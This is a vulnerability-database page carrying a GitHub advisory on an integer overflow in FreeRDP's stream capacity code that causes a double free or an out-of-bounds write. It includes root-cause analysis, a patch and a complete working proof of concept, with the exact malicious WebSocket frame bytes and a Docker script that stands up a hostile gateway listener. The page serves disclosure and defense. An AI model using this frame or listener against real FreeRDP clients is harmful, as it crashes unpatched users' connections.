Read the docs

Integer overflow in FreeRDP stream capacity leads to double free

Priority MEDIUM 46CWE-190Published · Updated

Key facts

Attack vector
Network
Privileges required
None
User interaction
Passive
Attack complexity
Low
Attack requirements
None
Impact type
Denial of service
Confidentiality · integrity · availability
None · None · High
Fix status
Fixed

Attack profile from CVSS 4.0 · GHSA-vccg-35r5-8jrf. Fix status from GitHub. Impact type from CWE-190 and the CVSS impact.

Summary

FreeRDP up to and including 3.30.0 is affected. An integer wraparound in the stream capacity calculation makes realloc free a buffer that the stream still points to, which leads to a double free (CWE-190). A remote attacker who controls an RD Gateway peer can trigger it by sending a malformed WebSocket frame, which aborts the client before authentication completes.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

Description from the GitHub advisory

**Affected:** | version | status | | --- | --- | | master `9415f2d11e4c` (3.30.1) | affected; our own `cmake -DCMAKE_BUILD_TYPE=Release`, no sanitizer | | 3.30.0 (Arch Linux `freerdp 2:3.30.0-1`, glibc) | affected; **distribution package, unmodified** — `SIGABRT`, glibc `double free detected in tcache 2` | | 3.29.0 (Alpine edge `freerdp-3.29.0-r0`, musl) | affected; **distribution package, unmodified** — `SIGSEGV` rather than `SIGABRT`, see Impact | | 3.23.0 – 3.30.x | affected by inspection; 3.23.0 is where the CVE-2026-27951 patch introduced this arithmetic. 2.x is **not** affected — it still has the `*= 2` loop | ## Summary An untrusted RD Gateway peer sends one 10-byte WebSocket Ping frame whose 64-bit extended payload length is `0xFFFFFFFFFFFFFBFF`. `Stream_EnsureRemainingCapacity` adds it to the stream capacity, `Stream_EnsureCapacity` rounds the result up to the next multiple of 128, and both additions wrap, so the function calls `realloc(s->buffer, 0)`. glibc frees the block and returns `NULL`; the `if (!new_buf) return FALSE` path leaves `s->buffer` pointing at freed memory. The read path retries and frees the same pointer again. On a stock Release build with no sanitizer this aborts inside `freerdp_connect()` with glibc's own `free(): double free detected in tcache 2`, before authentication completes. ## Root cause Two unchecked `size_t` additions, and a failure branch reached after `realloc(p, 0)` has already freed the buffer it does not clear. ```c // winpr/libwinpr/utils/stream.c:80 — the caller; both operands are attacker-influenced BOOL Stream_EnsureRemainingCapacity(wStream* s, size_t size) { if (Stream_GetPosition(s) + size > Stream_Capacity(s)) return Stream_EnsureCapacity(s, Stream_Capacity(s) + size); // wraps return TRUE; } // winpr/libwinpr/utils/stream.c:50 — the rounding wraps a second time const size_t increment = 128ull; const size_t old_capacity = s->capacity; const size_t new_capacity = size + increment - size % increment; // 0xFFFF...FF -> 0 [... 14 lines: the !s->isOwner branch, see Suggested fix ...] new_buf = (BYTE*)realloc(s->buffer, new_capacity); // realloc(p, 0) frees p if (!new_buf) return FALSE; // s->buffer still points at it ``` With `capacity == 1024` and `payloadLength == 2^64 - 1025`: `Stream_Capacity(s) + size` is `0xFFFFFFFFFFFFFFFF`, `size % 128` is 127, `new_capacity` is 0. Since `new_capacity` is `128 * (floor(S/128) + 1)`, 0 is the only value the wrap produces — it cannot be steered to a small non-zero size. This is the same overflow as **CVE-2026-27951 / GHSA-qcfc-ghxr-h927**, whose 3.23.0 fix (`118afc0b954`) replaced a `new_capacity *= 2` loop with the expression above. The loop is gone; the zero is not, and both differences run the wrong way: the consequence is now a double free rather than a hang, and the stated precondition — *"only on 32bit systems where the available physical memory is >= SIZE_MAX"* — no longer applies, because the wrap comes from a wire length field. ## Proof of concept `websocket_read_wstream` (`libfreerdp/core/gateway/websocket.c:251`) passes the frame's payload length straight through. The reproducer stands up a TLS listener on loopback, answers the client's `RDG_OUT_DATA` upgrade with `101 Switching Protocols`, and writes ten bytes. The appendix does all of that against a distribution package in one command; no FreeRDP build, no display, no network beyond loopback. ``` # the entire frame, written after the 101: FIN|Ping, len=127 => 8-byte extended length 89 7f ff ff ff ff ff ff fb ff ``` ``` $ ./driver <port> # the appendix's embedder, against Arch Linux's own # freerdp 2:3.30.0-1 -- unmodified, Release, no sanitizer PoV -> SIGNAL 6 (SIGABRT) [19:30:37:238] [876:0000036c] [WARN][com.freerdp.core.gateway.websocket] - [websocket_read_wstream]: wStream::capacity [1024] != encodingContext::paylaodLangth [18446744073709550591] free(): double free detected in tcache 2 control -> clean exit 1 ``` ## Impact An attacker controlling the gateway a client connects to crashes it before RDP authentication. A supplied `.rdp` file chooses the gateway via `gatewayhostname` (`client/common/file.c`) — malicious-server-attacks-client, not remote unauthenticated. **The outcome depends on the C library, and one of the two is much worse.** glibc's `realloc(p, 0)` returns `NULL`, routing into the failure path: `s->buffer` dangles, the read path retries, and the second `realloc(p, 0)` is caught — a detected double free, 10/10 measured. musl's returns a **valid pointer**, so the guard never fires: `s->capacity` becomes 0 and the trailing `ZeroMemory(&s->buffer[old_capacity], s->capacity - old_capacity)` underflows to `memset(ptr + 1024, 0, 2^64 - 1024)` — an out-of-bounds write. Alpine's own `freerdp-3.29.0-r0`, unmodified, segfaults on it. `Stream_EnsureCapacity(s, SIZE_MAX)` called directly aborts the same way, which is what the ~540 other in-tree call sites see. ## Suggested fix Reject the overflow before `realloc` is reached, and guard the wrapper's own addition. The failure path is deliberately left as upstream wrote it: `realloc` does **not** free the old block when it merely fails, so clearing `s->buffer` there would leak it and leave the stream inconsistent. Every branch was run patched and unpatched (see Verification). One thing it does not address: with the overflow rejected, `websocket_read_wstream` re-reads the same frame indefinitely instead of failing the connection, so the frame still costs a spin. ```diff diff --git a/winpr/libwinpr/utils/stream.c b/winpr/libwinpr/utils/stream.c index c0beba7..4625e45 100644 --- a/winpr/libwinpr/utils/stream.c +++ b/winpr/libwinpr/utils/stream.c @@ -49,6 +49,12 @@ BOOL Stream_EnsureCapacity(wStream* s, size_t size) const size_t increment = 128ull; const size_t old_capacity = s->capacity; + + /* size + increment wraps, and the rounding below then lands on exactly 0: + * realloc(s->buffer, 0) frees the buffer and returns NULL. */ + if (size > SIZE_MAX - increment) + return FALSE; + const size_t new_capacity = size + increment - size % increment; const size_t position = Stream_GetPosition(s); @@ -79,8 +85,14 @@ BOOL Stream_EnsureCapacity(wStream* s, size_t size) BOOL Stream_EnsureRemainingCapacity(wStream* s, size_t size) { - if (Stream_GetPosition(s) + size > Stream_Capacity(s)) - return Stream_EnsureCapacity(s, Stream_Capacity(s) + size); + const size_t position = Stream_GetPosition(s); + const size_t capacity = Stream_Capacity(s); + + if ((size > SIZE_MAX - position) || (size > SIZE_MAX - capacity)) + return FALSE; + + if (position + size > capacity) + return Stream_EnsureCapacity(s, capacity + size); return TRUE; } ``` --- ## Verification | what | how | result | | --- | --- | --- | | stock reproduction | our own build of `9415f2d`: Release, shared, no sanitizer, 10 consecutive runs | 10/10 `SIGABRT`, glibc `double free detected in tcache 2` | | a **distribution package**, glibc | Arch Linux `freerdp 2:3.30.0-1`, unmodified, driver linked against the packaged `libfreerdp3` | `SIGABRT`, same warning, same allocator message | | a **distribution package**, musl | Alpine edge `freerdp-3.29.0-r0`, unmodified — the appendix reproduces this in one command | **`SIGSEGV`**; control exits cleanly | | negative control | well-formed 1-byte Ping through the same listener, on each of the three | clean exit, no signal | | is our embedder responsible | driver variant calling `_exit()` immediately after `freerdp_connect()` — no `freerdp_disconnect`, no `freerdp_context_free`, no `freerdp_free` | identical abort; both frees are inside `freerdp_connect()` | | where the second free is | `LD_PRELOAD` shim over `malloc`/`calloc`/`realloc`/`free`, on the Arch package | two `realloc(p, 0)` on the same pointer; **five** allocations in between; glibc's tcache check fires on the second | | the arithmetic | computed from the length the runtime itself logs (`18446744073709550591`) | `new_capacity == 0` exactly | | our own build on musl | FreeRDP 3.30.1 on Alpine 3.20 (Release, shared, no sanitizer), same listener | `SIGSEGV`, and the failure-path `WARN` glibc prints is **absent** — which is the mechanism: `realloc` succeeded, so the success path ran | | allocator convention in isolation | the 38-line program below, built on each libc | glibc returns `NULL`; musl returns a valid pointer and the following `memset` faults | | why there is no musl **sanitizer** run | ASan builds and works on Alpine (a deliberate overflow is caught), but under it `realloc(p, 0)` returns `NULL` on musl too | the sanitizer replaces the allocator and restores the glibc convention, so it **erases the behaviour being reported**. It also explains why the ASan build blames `websocket_context_free` while the stock build aborts earlier | | the patch, branch by branch | four inputs against the real `libwinpr3`, built from the same tree with and without the patch | see the table below | | the patch, end to end | patched tree rebuilt Release/no-sanitizer, same listener, same frame | no signal; the well-formed control still exits cleanly | Patch coverage, one input per branch — `Stream_New` for the owning path, `Stream_StaticInit` for `!s->isOwner`, a direct `Stream_EnsureCapacity(s, SIZE_MAX)`, and a genuine allocation failure that does not wrap: | input | unpatched | patched | | --- | --- | --- | | `Stream_EnsureRemainingCapacity(s, 2^64-1025)`, owning | `SIGABRT`, `double free detected in tcache 2` | returns `FALSE`, buffer and capacity unchanged | | same, on a `Stream_StaticInit` stream (`!s->isOwner`) | `SIGSEGV` | returns `FALSE`, buffer and capacity unchanged | | `Stream_EnsureCapacity(s, SIZE_MAX)` directly | `SIGABRT`, `double free detected in tcache 2` | returns `FALSE` | | `Stream_EnsureCapacity(s, SIZE_MAX/2)` — real OOM, no wrap | returns `FALSE`, stream intact and reusable | returns `FALSE`, stream intact and reusable | The last row is the one that matters for the patch rather than the bug: `realloc` failing for lack of memory does not free the old block, so this path must stay recoverable, and it does. <details> <summary>The four inputs, as one program linked against the real <code>libwinpr3</code></summary> ```c /* One input per branch of the suggested fix (RULES X14). * Links the REAL libwinpr3; nothing here is a replica. */ #include <winpr/stream.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #define WRAP 0xFFFFFFFFFFFFFBFFull /* 2^64 - 1025, the PoV's wire length */ int main(int argc, char** argv) { const char* c = argc > 1 ? argv[1] : ""; if (!strcmp(c, "owner-wrap")) { /* the PoV path: owning stream */ wStream* s = Stream_New(NULL, 1024); printf("buffer before = %p\n", (void*)Stream_Buffer(s)); BOOL ok = Stream_EnsureRemainingCapacity(s, WRAP); printf("returned %d, buffer after = %p, capacity = %zu\n", (int)ok, (void*)Stream_Buffer(s), Stream_Capacity(s)); Stream_Free(s, TRUE); /* the second free */ puts("survived Stream_Free"); return 0; } if (!strcmp(c, "static-nonowner")) { /* !s->isOwner: malloc(0) + CopyMemory */ BYTE buf[1024]; wStream st; memset(buf, 'A', sizeof(buf)); Stream_StaticInit(&st, buf, sizeof(buf)); printf("buffer before = %p (stack)\n", (void*)Stream_Buffer(&st)); BOOL ok = Stream_EnsureRemainingCapacity(&st, WRAP); printf("returned %d, buffer after = %p, capacity = %zu\n", (int)ok, (void*)Stream_Buffer(&st), Stream_Capacity(&st)); puts("survived"); return 0; } if (!strcmp(c, "direct-ensurecapacity")) { /* 540 other call sites reach this one */ wStream* s = Stream_New(NULL, 1024); BOOL ok = Stream_EnsureCapacity(s, (size_t)-1); printf("returned %d, buffer after = %p, capacity = %zu\n", (int)ok, (void*)Stream_Buffer(s), Stream_Capacity(s)); Stream_Free(s, TRUE); puts("survived Stream_Free"); return 0; } if (!strcmp(c, "realloc-oom")) { /* genuine allocation failure, no wrap */ wStream* s = Stream_New(NULL, 1024); BYTE* before = Stream_Buffer(s); memset(before, 'B', 1024); BOOL ok = Stream_EnsureCapacity(s, ((size_t)-1) / 2); BYTE* after = Stream_Buffer(s); printf("returned %d, buffer %p -> %p, capacity = %zu, first byte = %c\n", (int)ok, (void*)before, (void*)after, Stream_Capacity(s), after ? *after : '?'); Stream_Free(s, TRUE); puts("survived Stream_Free"); return 0; } fprintf(stderr, "unknown case\n"); return 2; } ``` Built twice against the same tree, once unpatched and once with the diff above (`cmake -DCMAKE_BUILD_TYPE=Release -DBUILD_SHARED_LIBS=ON --target winpr`, no sanitizer), then run one case per invocation. The runner reports `subprocess.returncode`, so a signal is a negative number rather than `128+N`. </details> The sanitizer build and the stock build disagree about *where* the second free happens while agreeing on the root cause. The report below was produced by **our own AFL++/AddressSanitizer harness**, written over the in-tree `libfreerdp/core/test/TestFuzzCoreClient.c` — the frames naming that file and the `aflpp_driver` frames are ours, and its line numbers are our copy's, not yours. Every other number in this report comes from an unmodified stock or packaged build, so this one block is not reproducible from the recipe above. ``` [15:52:41:852] [29859:000074a3] [WARN][com.freerdp.core.gateway.websocket] - [websocket_read_wstream]: wStream::capacity [1024] != encodingContext::paylaodLangth [18446744073709550591] ==29859==ERROR: AddressSanitizer: attempting double-free on 0x7ca08a5e0080 in thread T0: #0 0x555be18abc06 in free /src/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:51:3 #1 0x555be1d0e5ed in Stream_Free build/./winpr/libwinpr/utils/stream.c:167:4 #2 0x555be19100cd in websocket_context_free build/./libfreerdp/core/gateway/websocket.c:498:2 [... 7 frames: fuzz_websocket -> LLVMFuzzerTestOneInput -> aflpp_driver ...] 0x7ca08a5e0080 is located 0 bytes inside of 1024-byte region [0x7ca08a5e0080,0x7ca08a5e0480) freed by thread T0 here: #0 0x555be18ac28c in realloc /src/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:81:3 #1 0x555be1d0d84f in Stream_EnsureCapacity build/./winpr/libwinpr/utils/stream.c:67:20 #2 0x555be1d0d84f in Stream_EnsureRemainingCapacity build/./winpr/libwinpr/utils/stream.c:83:10 #3 0x555be1910192 in websocket_read_wstream build/./libfreerdp/core/gateway/websocket.c:251:7 [... 5 frames: websocket_handle_payload -> websocket_context_read -> our harness ...] previously allocated by thread T0 here: #0 0x555be18abea4 in malloc /src/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:67:3 #1 0x555be1d0dbcc in Stream_New build/./winpr/libwinpr/utils/stream.c:101:22 #2 0x555be190fe1b in websocket_context_new build/./libfreerdp/core/gateway/websocket.c:480:34 [... 3 frames: our harness ...] SUMMARY: AddressSanitizer: double-free build/./winpr/libwinpr/utils/stream.c:167:4 in Stream_Free ``` The 1024-byte region is the websocket context's response buffer, allocated in `websocket_context_new`; the freeing trace is the wrapper calling into `Stream_EnsureCapacity` from `websocket_read_wstream`. <details> <summary>Full AddressSanitizer report, unedited (38 lines)</summary> ``` [15:52:41:852] [29859:000074a3] [WARN][com.freerdp.core.gateway.websocket] - [websocket_read_wstream]: wStream::capacity [1024] != encodingContext::paylaodLangth [18446744073709550591] ================================================================= ==29859==ERROR: AddressSanitizer: attempting double-free on 0x7ca08a5e0080 in thread T0: #0 0x555be18abc06 in free /src/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:51:3 #1 0x555be1d0e5ed in Stream_Free build/./winpr/libwinpr/utils/stream.c:167:4 #2 0x555be19100cd in websocket_context_free build/./libfreerdp/core/gateway/websocket.c:498:2 #3 0x555be18ef026 in fuzz_websocket /src/FreeRDP/libfreerdp/core/test/TestFuzzCoreClient.c:124:3 #4 0x555be18ef026 in LLVMFuzzerTestOneInput /src/FreeRDP/libfreerdp/core/test/TestFuzzCoreClient.c:186:4 #5 0x555be1fe3a19 in ExecuteFilesOnyByOne /src/aflplusplus/utils/aflpp_driver/aflpp_driver.c:267:7 #6 0x555be1fe3819 in LLVMFuzzerRunDriver /src/aflplusplus/utils/aflpp_driver/aflpp_driver.c #7 0x555be1fe33bb in main /src/aflplusplus/utils/aflpp_driver/aflpp_driver.c:323:10 #8 0x7f108b250082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082) (BuildId: 5792732f783158c66fb4f3756458ca24e46e827d) #9 0x555be180871d in _start (/out/TestFuzzCoreClient+0x1cb71d) 0x7ca08a5e0080 is located 0 bytes inside of 1024-byte region [0x7ca08a5e0080,0x7ca08a5e0480) freed by thread T0 here: #0 0x555be18ac28c in realloc /src/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:81:3 #1 0x555be1d0d84f in Stream_EnsureCapacity build/./winpr/libwinpr/utils/stream.c:67:20 #2 0x555be1d0d84f in Stream_EnsureRemainingCapacity build/./winpr/libwinpr/utils/stream.c:83:10 #3 0x555be1910192 in websocket_read_wstream build/./libfreerdp/core/gateway/websocket.c:251:7 #4 0x555be190ed37 in websocket_handle_payload build/./libfreerdp/core/gateway/websocket.c:313:13 #5 0x555be190ed37 in websocket_context_read build/./libfreerdp/core/gateway/websocket.c:454:14 #6 0x555be18eef48 in fuzz_websocket /src/FreeRDP/libfreerdp/core/test/TestFuzzCoreClient.c:115:19 #7 0x555be18eef48 in LLVMFuzzerTestOneInput /src/FreeRDP/libfreerdp/core/test/TestFuzzCoreClient.c:186:4 #8 0x555be1fe3a19 in ExecuteFilesOnyByOne /src/aflplusplus/utils/aflpp_driver/aflpp_driver.c:267:7 previously allocated by thread T0 here: #0 0x555be18abea4 in malloc /src/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:67:3 #1 0x555be1d0dbcc in Stream_New build/./winpr/libwinpr/utils/stream.c:101:22 #2 0x555be190fe1b in websocket_context_new build/./libfreerdp/core/gateway/websocket.c:480:34 #3 0x555be18eec6c in fuzz_websocket /src/FreeRDP/libfreerdp/core/test/TestFuzzCoreClient.c:101:27 #4 0x555be18eec6c in LLVMFuzzerTestOneInput /src/FreeRDP/libfreerdp/core/test/TestFuzzCoreClient.c:186:4 #5 0x555be1fe3a19 in ExecuteFilesOnyByOne /src/aflplusplus/utils/aflpp_driver/aflpp_driver.c:267:7 SUMMARY: AddressSanitizer: double-free build/./winpr/libwinpr/utils/stream.c:167:4 in Stream_Free ==29859==ABORTING ``` </details> <details> <summary>The allocator shim, and what it recorded on the stock path (Arch package)</summary> ```sh gcc -O2 -shared -fPIC -o awtrace.so awtrace.c -ldl # hooks malloc/calloc/realloc/free via dlsym(RTLD_NEXT) LD_PRELOAD=./awtrace.so ./driver <port> ``` ``` [aw] realloc(0x560fbc6b4c90, 0) -> frees and returns NULL; chunk abandoned [aw] realloc(0x560fbc6b4c90, 0) -> frees and returns NULL; chunk abandoned <- SAME POINTER AGAIN [aw] intervening allocations between the two: 5 free(): double free detected in tcache 2 ``` The five are most likely the failure path's own `WLog_WARN`, which formats a message between the two attempts. None of them reclaimed the chunk in any run we did — the tcache check firing says it was still free — but see Scope and limits. </details> <details> <summary>The 38-line allocator-convention program, and its output on each libc</summary> ```c /* The same seven lines as Stream_EnsureCapacity's owning branch, isolated: what does * the SAME input do when realloc(p,0) returns non-NULL (musl) instead of NULL (glibc)? */ #include <stdio.h> #include <stdlib.h> #include <string.h> int main(void) { size_t capacity = 1024; /* websocket_context_new */ unsigned char *buffer = malloc(capacity); memset(buffer, 'A', capacity); /* Stream_EnsureRemainingCapacity(s, payloadLength) with the PoV's length */ size_t payloadLength = 0xFFFFFFFFFFFFFBFFull; /* 2^64 - 1025, from the wire */ size_t size = capacity + payloadLength; /* wraps to 0xFFFFFFFFFFFFFFFF */ if (capacity >= size) { puts("early return, nothing happens"); return 0; } const size_t increment = 128ull; const size_t old_capacity = capacity; const size_t new_capacity = size + increment - size % increment; /* wraps to 0 */ printf("size = 0x%zx\n", size); printf("new_capacity = %zu\n", new_capacity); unsigned char *new_buf = realloc(buffer, new_capacity); printf("realloc(buffer, 0) = %p\n", (void *)new_buf); if (!new_buf) { puts("-> FAILURE path: buffer dangling, second free would be the double free (glibc)"); return 0; } puts("-> SUCCESS path taken (this is what musl does)"); buffer = new_buf; capacity = new_capacity; /* 0 */ printf("about to memset(&buffer[%zu], 0, %zu) <-- %zu = 0 - 1024\n", old_capacity, capacity - old_capacity, capacity - old_capacity); fflush(stdout); memset(&buffer[old_capacity], 0, capacity - old_capacity); puts("survived (unexpected)"); return 0; } ``` ``` $ gcc -O2 -o ad ad.c && ./ad # glibc 2.43 size = 0xffffffffffffffff new_capacity = 0 realloc(buffer, 0) = (nil) -> FAILURE path: buffer dangling, second free would be the double free (glibc) $ (same source, Alpine edge) realloc(buffer, 0) = 0x7f7d55844cb0 -> SUCCESS path taken (this is what musl does) about to memset(&buffer[1024], 0, 18446744073709550592) <-- 18446744073709550592 = 0 - 1024 Segmentation fault (core dumped) ``` Both compilers emit `warning: 'memset' specified bound 18446744073709550592 exceeds maximum object size` unprompted. </details> The driver used for reproduction is a ~40-line embedder calling the public `freerdp_connect()`, which is how Guacamole and Proxmox use the library, rather than a GUI client: the gateway transport is parsed long before any window exists, so no display is involved. ## Scope and limits We did not build a use-after-free. The two `realloc(p, 0)` calls have five allocations between them, and the chunk was still free when the second landed in every run — but we did not test whether a peer can steer any of those five into reclaiming it, so read the ceiling as unmeasured, not established. On musl we did not measure how far the wild `memset` reaches before it faults, nor that anything useful is overwritten: an out-of-bounds write, not a controlled one. The patch was run against the four inputs above and against this PoV end to end; FreeRDP's test suite was not run. The driver sets `GatewayAccessToken`, which puts `rdg->extAuth` into `HTTP_EXTENDED_AUTH_PAA` at `rdg.c:2237`, so the NTLM exchange our listener does not implement is skipped. That is authentication only — both branches rejoin at `rdg.c:1501` and share the status handling below it, and a hostile gateway completes NTLM itself. We did not run the NTLM path end to end. We looked for a second entry point and found none: a 16- or 32-bit length cannot wrap `size_t` on a 64-bit host, the WebSocket extended payload length is the only unbounded 64-bit length reaching these functions, and every subtraction and signed-to-`size_t` cast in a size argument tree-wide is guarded. Three builds were run — master `9415f2d`, Arch 3.30.0, Alpine 3.29.0. The 3.23.0 lower bound comes from the CVE-2026-27951 advisory and the shape of the expression, untested. ## Severity * **CVSS 4.0 (preferred):** `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N` — **7.1, High**. `VI:N` is deliberate: on musl this is an out-of-bounds write, but nothing was shown to be usefully overwritten. * **CVSS 3.1:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H` — **6.5, Medium**, which is what **CVE-2026-27951** carries for the same overflow in the same function; `UI:R`/`UI:P` is the shared load-bearing metric, since the victim has to be induced to connect through the attacker's gateway. CWE-190 (Integer Overflow or Wraparound), reached via CWE-415 (Double Free). Suggested primary: **CWE-190**. ## Credit Found with an LLM-driven fuzzing harness generator (afb) driving `libfreerdp/core/gateway/`. The directory is linked into 6 of the project's 14 in-tree fuzz targets and driven by none of them — OSS-Fuzz reports 11 of its 13 files at 0.0% line coverage — because those targets reach only parsers callable from a default-initialised context, and none constructs a gateway session. The harness and the loopback gateway used for the stock reproduction are available on request. ## Appendix: reproducing against a distribution package in one command Self-contained — no checkout, no build of FreeRDP, no attachments, no display and no network beyond loopback inside the container. It installs Alpine's own `freerdp` package, prints the version it resolved to, compiles a ~25-line embedder against `/usr/lib/libfreerdp3.so.3`, and runs the frame from **Proof of concept** plus a well-formed Ping as a control. Takes about two minutes. ```sh docker run --rm -i alpine:edge sh -s <<'REPRO' set -e apk add --no-cache freerdp freerdp-dev clang binutils musl-dev pkgconfig python3 openssl >/dev/null apk list -I freerdp | head -1 cat > /tmp/d.c <<'C' /* Minimal embedder: what Guacamole and Proxmox do, minus the UI. */ #include <freerdp/freerdp.h> #include <freerdp/settings.h> #include <stdio.h> #include <stdlib.h> static DWORD ignore_cert(freerdp* i, const char* h, UINT16 p, const char* c, const char* f, const char* s, const char* fp, DWORD fl) { (void)i;(void)h;(void)p;(void)c;(void)f;(void)s;(void)fp;(void)fl; return 2; } int main(int argc, char** argv) { freerdp* inst = freerdp_new(); inst->ContextSize = sizeof(rdpContext); freerdp_context_new(inst); rdpSettings* s = inst->context->settings; freerdp_settings_set_string(s, FreeRDP_ServerHostname, "127.0.0.1"); freerdp_settings_set_uint32(s, FreeRDP_ServerPort, 3389); freerdp_settings_set_string(s, FreeRDP_Username, "u"); freerdp_settings_set_string(s, FreeRDP_Password, "p"); freerdp_settings_set_bool(s, FreeRDP_GatewayEnabled, TRUE); freerdp_settings_set_string(s, FreeRDP_GatewayHostname, "127.0.0.1"); freerdp_settings_set_uint32(s, FreeRDP_GatewayPort, (UINT32)atoi(argv[1])); freerdp_settings_set_bool(s, FreeRDP_GatewayHttpTransport, TRUE); freerdp_settings_set_bool(s, FreeRDP_GatewayHttpUseWebsockets, TRUE); /* PAA token: rdg.c:2237 sets extAuth, so rdg.c:1410 skips the NTLM branch this listener does not implement. Authentication only. */ freerdp_settings_set_string(s, FreeRDP_GatewayAccessToken, "x"); inst->VerifyCertificateEx = ignore_cert; return freerdp_connect(inst) ? 0 : 1; } C clang -O2 -o /tmp/d /tmp/d.c $(pkg-config --cflags --libs freerdp3 winpr3) 2>/dev/null cat > /tmp/gw.py <<'PY' import base64, hashlib, socket, ssl, subprocess, sys, tempfile, pathlib port, payload = int(sys.argv[1]), bytes.fromhex(sys.argv[2]) d = pathlib.Path(tempfile.mkdtemp()) subprocess.run(["openssl","req","-x509","-newkey","rsa:2048","-nodes","-keyout",str(d/"k"), "-out",str(d/"c"),"-days","1","-subj","/CN=127.0.0.1"],check=True,capture_output=True) ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER); ctx.load_cert_chain(d/"c", d/"k") srv = socket.socket(); srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) srv.bind(("127.0.0.1", port)); srv.listen(4); srv.settimeout(15) while True: raw, _ = srv.accept() try: c = ctx.wrap_socket(raw, server_side=True) except ssl.SSLError: continue c.settimeout(5) try: req = c.recv(65536) except Exception: c.close(); continue key = b"" for h in req.split(b"\r\n"): if h.lower().startswith(b"sec-websocket-key:"): key = h.split(b":",1)[1].strip() if not key: c.sendall(b"HTTP/1.1 503 Service Unavailable\r\nContent-Length: 0\r\n\r\n"); c.close(); continue acc = base64.b64encode(hashlib.sha1(key + b"258EAFA5-E914-47DA-95CA-C5AB0DC85B11").digest()).decode() c.sendall(("HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\n" "Connection: Upgrade\r\nSec-WebSocket-Accept: %s\r\n\r\n" % acc).encode()) c.sendall(payload) # <- the frame under test try: c.recv(4096) except Exception: pass c.close(); break PY python3 - <<'PY' import signal, subprocess, time # 897f...fbff = FIN|Ping, len=127 => 8-byte extended length 0xFFFFFFFFFFFFFBFF # 890141 = FIN|Ping, len=1, "A" (control) for label, frame, port in [("PoV ", "897ffffffffffffffbff", 19811), ("control", "890141", 19812)]: gw = subprocess.Popen(["python3","/tmp/gw.py",str(port),frame], stderr=subprocess.DEVNULL) time.sleep(1.5) # returncode, not $? : a shell reports a signal as 128+N and this client # exits non-zero on every failed connect, so $? cannot tell them apart. rc = subprocess.run(["/tmp/d",str(port)],capture_output=True,timeout=40).returncode print(" %s -> %s" % (label, "SIGNAL %d (%s)" % (-rc, signal.Signals(-rc).name) if rc < 0 else "clean exit %d" % rc)) gw.terminate(); gw.wait() PY REPRO ``` Observed on `freerdp-3.29.0-r0`: ``` freerdp-3.29.0-r0 x86_64 {freerdp} (Apache-2.0) [installed] PoV -> SIGNAL 11 (SIGSEGV) control -> clean exit 1 ``` If the control also dies, the listener or the embedder is at fault and the `PoV` row means nothing — read them as a pair. Swapping the image for `archlinux:latest` (`pacman -Syu --noconfirm freerdp gcc pkgconf python openssl`, same driver, same frames) gives `SIGNAL 6 (SIGABRT)` with `free(): double free detected in tcache 2` instead, which is the divergence this report is about.

Why it matters now

Fix Fixed FreeRDP/FreeRDP: 3.31.0

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—FreeRDP/FreeRDP<= 3.30.03.31.0Patch availableGHSA-vccg-35r5-8jrf
  • FreeRDP/FreeRDP Vendor— Affected <= 3.30.0 Fixed in 3.31.0 Patch available GHSA-vccg-35r5-8jrf

Remediation

Upgrade FreeRDP to 3.31.0, which fixes this issue. The sources list no advisory identifier for the fix.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

  • Fix · GHSA-vccg-35r5-8jrf FreeRDP/FreeRDP Fixed in 3.31.0 Advisory →

Timeline

  1. 2026-11-12 Threatist record created from GHSA-vccg-35r5-8jrf

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences